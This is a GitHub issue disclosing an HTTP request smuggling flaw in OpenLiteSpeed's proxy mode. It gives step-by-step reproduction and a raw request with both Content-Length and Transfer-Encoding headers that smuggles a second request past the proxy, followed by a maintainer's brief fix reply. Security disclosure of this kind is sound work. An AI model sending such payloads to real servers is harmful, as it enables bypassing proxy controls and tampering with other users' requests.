litespeedtech / openlitespeed

Our high-performance, lightweight, open source HTTP server
https://openlitespeed.org
GNU General Public License v3.0
1.19k stars 193 forks source link

LiteSpeed is vulnerable to request smuggling by sending both `Content-Length` and `Transfer-Encoding` (i.e., the oldest trick in the book) #392

Open kenballus opened 5 months ago

kenballus commented 5 months ago

The following 2 facts allow for request smuggling through LiteSpeed proxies to LiteSpeed[^1], H2O, Libevent, and Mongoose backends.

[^1]: This is cool! Typically, request smuggling vulnerabilities affect heteroegenous setups.

  1. When LiteSpeed is acting as a proxy, and receives a request containing both a Content-Length and a Transfer-Encoding: chunked header, and the Content-Length header comes first, it un-chunks the message body without removing the Content-Length header. The forwarded request thus has two Content-Length headers, which may be conflicting.
  2. Many origin servers, including LiteSpeed itself, prioritize the first Content-Length header over subsequently received ones when processing incoming requests.

To see this for yourself,

  1. Set up OLS as a proxy, pointing at another instance of OLS.
  2. Send the proxy the following request:
    POST / HTTP/1.1\r\n
    Host: a\r\n
    Content-Length: 0\r\n
    Transfer-Encoding: chunked\r\n
    \r\n
    20\r\n
    GET / HTTP/1.1\r\nHost: gotcha\r\n\r\n\r\n
    0\r\n
    \r\n
  3. You should see the proxy forward the following to the backend:
    POST / HTTP/1.1\r\n
    Host: a\r\n
    Content-Length: 0\r\n
    Content-length: 32        \r\n
    X-Forwarded-Host: a\r\n
    Accept-Encoding: gzip\r\n
    X-Forwarded-For: 172.25.0.1\r\n
    \r\n
    GET / HTTP/1.1\r\n
    Host: gotcha\r\n
    \r\n
  4. Observe that the origin server logs 2 received requests, and the second one was smuggled through the proxy. You can tell this because it doesn't have X-Forwarded-Host, Accept-Encoding, or X-Forwarded-For headers.
kenballus commented 5 months ago

(I am reporting this publicly because my previous two reports to the LiteSpeed contact email have not received responses.)

litespeedtech commented 2 months ago

should be fixed in 1.8.2